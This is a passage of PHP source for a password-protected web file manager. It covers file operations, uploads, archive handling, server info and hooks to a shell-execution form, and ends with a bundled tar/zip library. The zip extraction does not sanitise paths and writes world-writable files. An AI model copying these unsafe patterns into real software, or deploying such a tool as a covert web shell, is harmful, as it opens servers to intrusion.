(strlen($dir_dir_list)>0){ $dir_dir_list = explode("<|*|>",$dir_dir_list); if (count($dir_dir_list)>0) { for($x=0;$x0) total_move($dir_atual.$dir_dir_list[$x],$dir_dest.$dir_dir_list[$x]); } reloadframe("parent",2); } } $dir_atual = $dir_dest; } } break; case 71: // compactar sel if (strlen($cmd_arg)>0){ ignore_user_abort(true); ini_set("display_errors",0); ini_set("max_execution_time",0); $zipfile=false; if (strstr($cmd_arg,".tar")!=false) $zipfile = new tar_file($cmd_arg); elseif (strstr($cmd_arg,".zip")!=false) $zipfile = new zip_file($cmd_arg); elseif (strstr($cmd_arg,".bzip")!=false) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".gzip")!=false) $zipfile = new gzip_file($cmd_arg); if ($zipfile){ $zipfile->set_options(array('basedir'=>$dir_atual,'overwrite'=>1,'level'=>3)); if (strlen($dir_file_list)>0){ $dir_file_list = explode("<|*|>",$dir_file_list); if (count($dir_file_list)>0) { for($x=0;$x0) $zipfile->add_files($dir_file_list[$x]); } } } if (strlen($dir_dir_list)>0){ $dir_dir_list = explode("<|*|>",$dir_dir_list); if (count($dir_dir_list)>0) { for($x=0;$x0) $zipfile->add_files($dir_dir_list[$x]); } reloadframe("parent",2); } } $zipfile->create_archive(); } unset($zipfile); reloadframe("parent",2); } break; case 72: // descompactar arq if (strlen($cmd_arg)>0){ if (file_exists($dir_atual.$cmd_arg)){ $zipfile=false; if (strstr($cmd_arg,".zip")!=false) zip_extract(); elseif (strstr($cmd_arg,".bzip")!=false) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".bz2")!=false) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".tbz2")!=false) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".bz")!=false) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".tbz")!=false) $zipfile = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".gzip")!=false) $zipfile = new gzip_file($cmd_arg); elseif (strstr($cmd_arg,".gz")!=false) $zipfile = new gzip_file($cmd_arg); elseif (strstr($cmd_arg,".tgz")!=false) $zipfile = new gzip_file($cmd_arg); elseif (strstr($cmd_arg,".tar")!=false) $zipfile = new tar_file($cmd_arg); if ($zipfile){ $zipfile->set_options(array('basedir'=>$dir_atual,'overwrite'=>1)); $zipfile->extract_files(); } unset($zipfile); reloadframe("parent",2); } } break; case 8: // apagar arq/dir if (strlen($cmd_arg)>0){ if (file_exists($dir_atual.$cmd_arg)) total_delete($dir_atual.$cmd_arg); if (is_dir($dir_atual.$cmd_arg)) reloadframe("parent",2); } break; case 9: // CHMOD if((strlen($chmod_arg) == 4)&&(strlen($dir_atual)>0)){ if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg; else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3); $new_mod = octdec($chmod_arg); if (count($dir_file_list)>0) for($x=0;$x0) for($x=0;$x ...:::: ".et('FileMan')." $plus "; } //------------------------------------------------------------------------------------- // Principal -- Interpreta acão e toda as providências necessárias //------------------------------------------------------------------------------------- if ($logado==$auth_senha){ if ($logout){ logout(); } elseif ($config_form){ html_header(); echo "\n"; config_form(); echo "\n"; echo ""; } elseif ((strlen($dir_name)>0)&&(strlen($file_name)>0)){ download($dir_name,$file_name); } elseif (strlen($visualizar)>0){ html_header(); echo "\n"; visualizar(); echo "\n"; echo ""; } elseif ($server_info){ if (!@phpinfo()) echo et('NoPhpinfo')."..."; echo "

"; $a= ini_get_all(); $output=""; while(list($key, $value)=each($a)) { list($k, $v)= each($a[$key]); $output.=""; } $output.="
$key$v
"; echo $output; echo "

"; $safe_mode=trim(ini_get("safe_mode")); if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false; else $safe_mode=true; $is_windows_server = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); echo "
".php_uname(); echo "
safe_mode".($safe_mode?"on":"off"); if ($is_windows_server) echo "
sisopWindows
"; else echo "
sisopLinux
"; echo "


"; $display_errors=ini_get("display_errors"); $ignore_user_abort = ignore_user_abort(); $max_execution_time = ini_get("max_execution_time"); $upload_max_filesize = ini_get("upload_max_filesize"); $memory_limit=ini_get("memory_limit"); $output_buffering=ini_get("output_buffering"); $default_socket_timeout=ini_get("default_socket_timeout"); $allow_url_fopen = ini_get("allow_url_fopen"); $magic_quotes_gpc = ini_get("magic_quotes_gpc"); ignore_user_abort(true); ini_set("display_errors",0); ini_set("max_execution_time",0); ini_set("upload_max_filesize","10M"); ini_set("memory_limit","20M"); ini_set("output_buffering",0); ini_set("default_socket_timeout",30); ini_set("allow_url_fopen",1); ini_set("magic_quotes_gpc",0); echo "
 GetSetGet"; echo "
display_errors$display_errors0".ini_get("display_errors"); echo "
ignore_user_abort".($ignore_user_abort?"on":"off")."on".(ignore_user_abort()?"on":"off"); echo "
max_execution_time$max_execution_time0".ini_get("max_execution_time"); echo "
upload_max_filesize$upload_max_filesize10M".ini_get("upload_max_filesize"); echo "
memory_limit$memory_limit20M".ini_get("memory_limit"); echo "
output_buffering$output_buffering0".ini_get("output_buffering"); echo "
default_socket_timeout$default_socket_timeout30".ini_get("default_socket_timeout"); echo "
allow_url_fopen$allow_url_fopen1".ini_get("allow_url_fopen"); echo "
magic_quotes_gpc$magic_quotes_gpc0".ini_get("magic_quotes_gpc"); echo "


"; echo " "; echo "\n"; echo ""; } elseif ($execute){ execute(); } elseif (strlen($edit_file)>0){ html_header(); echo "\n"; edit_file_form(); echo "\n"; echo ""; } elseif ($chmod_form){ chmod_form(); } elseif ($shell_form){ shell_form(); } elseif ($upload_form){ html_header(); echo "\n"; upload_form(); echo "\n"; echo ""; } elseif ($upload_files){ html_header(); echo "\n"; $out = "Upload Terminado"; for ($x=0;$x<5;$x++){ $aux1 = $_FILES["file".$x]["tmp_name"]; $aux2 = $_FILES["file".$x]["name"]; $aux3 = $_FILES["file".$x]["size"]; if (strlen($aux2)>0) $resul = save_upload($aux1,$aux2,$aux3); else $resul = 7; switch($resul){ case 1: $out .= "".strzero($x+1,3).". ".et('FileSent').":".$aux2."\n"; break; case 2: $out .= "".et('IOError')."\n"; $x = $upload_num; break; case 3: $out .= "".et('SpaceLimReached')." ($quota_mb Mb)\n"; $x = $upload_num; break; case 4: $out .= "".strzero($x+1,3).". ".et('InvExt').":".$aux2."\n"; break; case 5: $out .= "".strzero($x+1,3).". ".et('FileNoOverw')."".$aux2."\n"; break; case 6: $out .= "".strzero($x+1,3).". ".et('FileOverw').":".$aux2."\n"; break; case 7: $out .= "".strzero($x+1,3).". ".et('FileIgnored')."\n"; } } if ($fechar) echo " "; else echo " $out
 
"; echo "\n"; echo ""; } elseif ($frame == 3){ if ($action==1){ $mat = explode("/",$dir_atual); $aux = $mat[count($mat)-2]; if (!strstr($expanded_tree,$aux)) setcookie("expanded_tree", $expanded_tree.":".$aux , 0 , "/"); } if (!isset($order_by)){ $order_by = "1A"; setcookie("order_by", $order_by , $cookie_cache_time , "/"); } elseif (strlen($or_by)>0){ $order_by = $or_by; setcookie("order_by", $or_by , $cookie_cache_time , "/"); } html_header(); echo "\n"; do_action(); echo "\n"; echo ""; } elseif ($frame == 2){ if (!isset($expanded_tree)) $expanded_tree = ""; if (strlen($open_dir)>0){ if (strstr($expanded_tree,$open_dir)) $expanded_tree = str_replace(":".$open_dir,"",$expanded_tree); else $expanded_tree .= ":".$open_dir; setcookie("expanded_tree", $expanded_tree , 0 , "/"); } html_header(); echo "\n"; tree(); echo "\n"; echo ""; } elseif ($frame == 1) { // Frame vazia } else { html_header(); echo " "; echo ""; } } else { if (isset($senha)) login(); else form_login(); } //------------------------------------------------------------------------------------- function zip_extract(){ global $cmd_arg,$dir_atual,$islinux; $zip = zip_open($dir_atual.$cmd_arg); if ($zip) { while ($zip_entry = zip_read($zip)) { if (zip_entry_filesize($zip_entry) > 0) { $complete_path = $path.dirname(zip_entry_name($zip_entry)); $complete_name = $path.zip_entry_name($zip_entry); if(!file_exists($complete_path)) { $tmp = ''; foreach(explode('/',$complete_path) AS $k) { $tmp .= $k.'/'; if(!file_exists($tmp)) { mkdir($dir_atual.$tmp, 0777); } } } if (zip_entry_open($zip, $zip_entry, "r")) { $fd = fopen($dir_atual.$complete_name, 'w'); fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry))); fclose($fd); zip_entry_close($zip_entry); } } } zip_close($zip); } } //------------------------------------------------------------------------------------- /*------------------------------------------------- | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0 | By Devin Doucette | Copyright (c) 2004 Devin Doucette | Email: darksnoopy@shaw.ca +-------------------------------------------------- | Email bugs/suggestions to darksnoopy@shaw.ca +-------------------------------------------------- | This script has been created and released under | the GNU GPL and is free to use and redistribute | only if this copyright statement is not removed +-------------------------------------------------- | Limitations: | - Only USTAR archives are officially supported for extraction, but others may work. | - Extraction of bzip2 and gzip archives is limited to compatible tar files that have | been compressed by either bzip2 or gzip. For greater support, use the functions | bzopen and gzopen respectively for bzip2 and gzip extraction. | - Zip extraction is not supported due to the wide variety of algorithms that may be | used for compression and newer features such as encryption. +-------------------------------------------------- */ class archive { function archive($name) { $this->options = array( 'basedir'=>".", 'name'=>$name, 'prepend'=>"", 'inmemory'=>0, 'overwrite'=>0, 'recurse'=>1, 'storepaths'=>1, 'level'=>3, 'method'=>1, 'sfx'=>"", 'type'=>"", 'comment'=>"" ); $this->files = array(); $this->exclude = array(); $this->storeonly = array(); $this->error = array(); } function set_options($options) { foreach($options as $key => $value) { $this->options[$key] = $value; } if(!empty($this->options['basedir'])) { $this->options['basedir'] = str_replace("\\","/",$this->options['basedir']); $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']); $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']); } if(!empty($this->options['name'])) { $this->options['name'] = str_replace("\\","/",$this->options['name']); $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']); } if(!empty($this->options['prepend'])) { $this->options['prepend'] = str_replace("\\","/",$this->options['prepend']); $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']); $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']); $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/"; } } function create_archive() { $this->make_list(); if($this->options['inmemory'] == 0) { $pwd = getcwd(); chdir($this->options['basedir']); if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""))) { $this->error[] = "File {$this->options['name']} already exists."; chdir($pwd); return 0; } else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+")) { chdir($pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($pwd); return 0; } } else { $this->archive = ""; } switch($this->options['type']) { case "zip": if(!$this->create_zip()) { $this->error[] = "Could not create zip file."; return 0; } break; case "bzip": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if(!$this->create_bzip()) { $this->error[] = "Could not create bzip2 file."; return 0; } break; case "gzip": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if(!$this->create_gzip()) { $this->error[] = "Could not create gzip file."; return 0; } break; case "tar": if(!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } } if($this->options['inmemory'] == 0) { fclose($this->archive); chmod($this->options['name'],0666); if($this->options['type'] == "gzip" || $this->options['type'] == "bzip") { unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp"); } } } function add_data($data) { if($this->options['inmemory'] == 0) { fwrite($this->archive,$data); } else { $this->archive .= $data; } } function make_list() { if(!empty($this->exclude)) { foreach($this->files as $key => $value) { foreach($this->exclude as $current) { if($value['name'] == $current['name']) { unset($this->files[$key]); } } } } if(!empty($this->storeonly)) { foreach($this->files as $key => $value) { foreach($this->storeonly as $current) { if($value['name'] == $current['name']) { $this->files[$key]['method'] = 0; } } } } unset($this->exclude,$this->storeonly); } function add_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->files[] = $current; } } function exclude_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->exclude[] = $current; } } function store_files($list) { $temp = $this->list_files($list); foreach($temp as $current) { $this->storeonly[] = $current; } } function list_files($list) { if(!is_array($list)) { $temp = $list; $list = array($temp); unset($temp); } $files = array(); $pwd = getcwd(); chdir($this->options['basedir']); foreach($list as $current) { $current = str_replace("\\","/",$current); $current = preg_replace("/\/+/","/",$current); $current = preg_replace("/\/$/","",$current); if(strstr($current,"*")) { $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current); $regex = str_replace("*",".*",$regex); $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : "."; $temp = $this->parse_dir($dir); foreach($temp as $current2) { if(preg_match("/^{$regex}$/i",$current2['name'])) { $files[] = $current2; } } unset($regex,$dir,$temp,$current); } else if(@is_dir($current)) { $temp = $this->parse_dir($current); foreach($temp as $file) { $files[] = $file; } unset($temp,$file); } else if(@file_exists($current)) { $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))? substr($current,strrpos($current,"/") + 1) : $current),'type'=>0, 'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current)); } } chdir($pwd); unset($current,$pwd); usort($files,array("archive","sort_files")); return $files; } function parse_dir($dirname) { if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname)) { $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))? substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname))); } else { $files = array(); } $dir = @opendir($dirname); while($file = @readdir($dir)) { if($file == "." || $file == "..") { continue; } else if(@is_dir($dirname."/".$file)) { if(empty($this->options['recurse'])) { continue; } $temp = $this->parse_dir($dirname."/".$file); foreach($temp as $file2) { $files[] = $file2; } } else if(@file_exists($dirname."/".$file)) { $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] . preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))? substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0, 'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file)); } } @closedir($dir); return $files; } function sort_files($a,$b) { if($a['type'] != $b['type']) { return $a['type'] > $b['type']? -1 : 1; } else if($a['type'] == 5) { return strcmp(strtolower($a['name']),strtolower($b['name'])); } else { if($a['ext'] != $b['ext']) { return strcmp($a['ext'],$b['ext']); } else if($a['stat'][7] != $b['stat'][7]) { return $a['stat'][7] > $b['stat'][7]? -1 : 1; } else { return strcmp(strtolower($a['name']),strtolower($b['name'])); } } return 0; } function download_file() { if($this->options['inmemory'] == 0) { $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster."; return; } switch($this->options['type']) { case "zip": header("Content-type:application/zip"); break; case "bzip": header("Content-type:application/x-compressed"); break; case "gzip": header("Content-type:application/x-compressed"); break; case "tar": header("Content-type:application/x-tar"); } $header = "Content-disposition: attachment; filename=\""; $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name']; $header .= "\""; header($header); header("Content-length: " . strlen($this->archive)); header("Content-transfer-encoding: binary"); header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); header("Expires: 0"); print($this->archive); } } class tar_file extends archive { function tar_file($name) { $this->archive($name); $this->options['type'] = "tar"; } function create_tar() { $pwd = getcwd(); chdir($this->options['basedir']); foreach($this->files as $current) { if($current['name'] == $this->options['name']) { continue; } if(strlen($current['name2']) > 99) { $path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1); $current['name2'] = substr($current['name2'],strlen($path)); if(strlen($path) > 154 || strlen($current['name2']) > 99) { $this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long."; continue; } } $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]), sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])), sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])), " ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($path)? $path : "",""); $checksum = 0; for($i = 0; $i < 512; $i++) { $checksum += ord(substr($block,$i,1)); } $checksum = pack("a8",sprintf("%6s ",decoct($checksum))); $block = substr_replace($block,$checksum,148,8); if($current['stat'][7] == 0) { $this->add_data($block); } else if($fp = @fopen($current['name'],"rb")) { $this->add_data($block); while($temp = fread($fp,1048576)) { $this->add_data($temp); } if($current['stat'][7] % 512 > 0) { $temp = ""; for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++) { $temp .= "\0"; } $this->add_data($temp); } fclose($fp); } else { $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } } $this->add_data(pack("a512","")); chdir($pwd); return 1; } function extract_files() { $pwd = getcwd(); chdir($this->options['basedir']); if($fp = $this->open_archive()) { if($this->options['inmemory'] == 1) { $this->files = array(); } while($block = fread($fp,512)) { $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block); $file = array( 'name'=>$temp['prefix'] . $temp['name'], 'stat'=>array( 2=>$temp['mode'], 4=>octdec($temp['uid']), 5=>octdec($temp['gid']), 7=>octdec($temp['size']), 9=>octdec($temp['mtime']), ), 'checksum'=>octdec($temp['checksum']), 'type'=>$temp['type'], 'magic'=>$temp['magic'], ); if($file['checksum'] == 0x00000000) { break; } else if($file['magic'] != "ustar") { $this->error[] = "This script does not support extracting this type of tar file."; break; } $block = substr_replace($block," ",148,8); $checksum = 0; for($i = 0; $i < 512; $i++) { $checksum += ord(substr($block,$i,1)); } if($file['checksum'] != $checksum) { $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt."; } if($this->options['inmemory'] == 1) { $file['data'] = fread($fp,$file['stat'][7]); fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512)); unset($file['checksum'],$file['magic']); $this->files[] = $file; } else { if($file['type'] == 5) { if(!is_dir($file['name'])) { mkdir($file['name'],0777); //mkdir($file['name'],$file['stat'][2]); //chown($file['name'],$file['stat'][4]); //chgrp($file['name'],$file['stat'][5]); } } else if($this->options['overwrite'] == 0 && file_exists($file['name'])) { $this->error[] = "{$file['name']} already exists."; } else if($new = @fopen($file['name'],"wb")) { fwrite($new,fread($fp,$file['stat'][7])); fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512)); fclose($new); chmod($file['name'],0666); //chmod($file['name'],$file['stat'][2]); //chown($file['name'],$file['stat'][4]); //chgrp($file['name'],$file['stat'][5]); } else { $this->error[] = "Could not open {$file['name']} for writing."; } } unset($file); } } else { $this->error[] = "Could not open file {$this->options['name']}"; } chdir($pwd); } function open_archive() { return @fopen($this->options['name'],"rb"); } } class gzip_file extends tar_file { function gzip_file($name) { $this->tar_file($name); $this->options['type'] = "gzip"; } function create_gzip() { if($this->options['inmemory'] == 0) { $pwd = getcwd(); chdir($this->options['basedir']); if($fp = gzopen($this->options['name'],"wb{$this->options['level']}")) { fseek($this->archive,0); while($temp = fread($this->archive,1048576)) { gzwrite($fp,$temp); } gzclose($fp); chdir($pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($pwd); return 0; } } else { $this->archive = gzencode($this->archive,$this->options['level']); } return 1; } function open_archive() { return @gzopen($this->options['name'],"rb"); } } class bzip_file extends tar_file { function bzip_file($name) { $this->tar_file($name); $this->options['type'] = "bzip"; } function create_bzip() { if($this->options['inmemory'] == 0) { $pwd = getcwd(); chdir($this->options['basedir']); if($fp = bzopen($this->options['name'],"wb")) { fseek($this->archive,0); while($temp = fread($this->archive,1048576)) { bzwrite($fp,$temp); } bzclose($fp); chdir($pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($pwd); return 0; } } else { $this->archive = bzcompress($this->archive,$this->options['level']); } return 1; } function open_archive() { return @bzopen($this->options['name'],"rb"); } } class zip_file extends archive { function zip_file($name) { $this->archive($name); $this->options['type'] = "zip"; } function create_zip() { $files = 0; $offset = 0; $central = ""; if(!empty($this->options['sfx'])) { if($fp = @fopen($this->options['sfx'],"rb")) { $temp = fread($fp,filesize($this->options['sfx'])); fclose($fp); $this->add_data($temp); $offset += strlen($temp); unset($temp); } else { $this->error[] = "Could not open sfx module from {$this->options['sfx']}."; } } $pwd = getcwd(); chdir($this->options['basedir']); foreach($this->files as $current) { if($current['name'] == $this->options['name']) { continue; } $translate = array('Ç'=>pack("C",128),'ü'=>pack("C",129),'é'=>pack("C",130),'â'=>pack("C",131),'ä'=>pack("C",132), 'à'=>pack("C",133),'å'=>pack("C",134),'ç'=>pack("C",135),'ê'=>pack("C",136),'ë'=>pack("C",137), 'è'=>pack("C",138),'ï'=>pack("C",139),'î'=>pack("C",140),'ì'=>pack("C",141),'Ä'=>pack("C",142), 'Å'=>pack("C",143),'É'=>pack("C",144),'æ'=>pack("C",145),'Æ'=>pack("C",146),'ô'=>pack("C",147), 'ö'=>pack("C",148),'ò'=>pack("C",149),'û'=>pack("C",150),'ù'=>pack("C",151),'_'=>pack("C",152), 'Ö'=>pack("C",153),'Ü'=>pack("C",154),'£'=>pack("C",156),'¥'=>pack("C",157),'_'=>pack("C",158), 'ƒ'=>pack("C",159),'á'=>pack("C",160),'í'=>pack("C",161),'ó'=>pack("C",162),'ú'=>pack("C",163), 'ñ'=>pack("C",164),'Ñ'=>pack("C",165)); $current['name2'] = strtr($current['name2'],$translate); $timedate = explode(" ",date("Y n j G i s",$current['stat'][9])); $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) | ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]); $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate); if($current['stat'][7] == 0 && $current['type'] == 5) { $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000); $block .= $current['name2'] . "/"; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, 0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset); $central .= $current['name2'] . "/"; $files++; $offset += (31 + strlen($current['name2'])); } else if($current['stat'][7] == 0) { $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000); $block .= $current['name2']; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, 0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2'])); } else if($fp = @fopen($current['name'],"rb")) { $temp = fread($fp,$current['stat'][7]); fclose($fp); $crc32 = crc32($temp); if(!isset($current['method']) && $this->options['method'] == 1) { $temp = gzcompress($temp,$this->options['level']); $size = strlen($temp) - 6; $temp = substr($temp,2,$size); } else { $size = strlen($temp); } $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000); $block .= $current['name2']; $this->add_data($block); $this->add_data($temp); unset($temp); $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000, (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate, $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2']) + $size); } else { $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } } $this->add_data($central); $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset, !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000)); if(!empty($this->options['comment'])) { $this->add_data($this->options['comment']); } chdir($pwd); return 1; } } //------------------------------------------------------------------------------------- ?>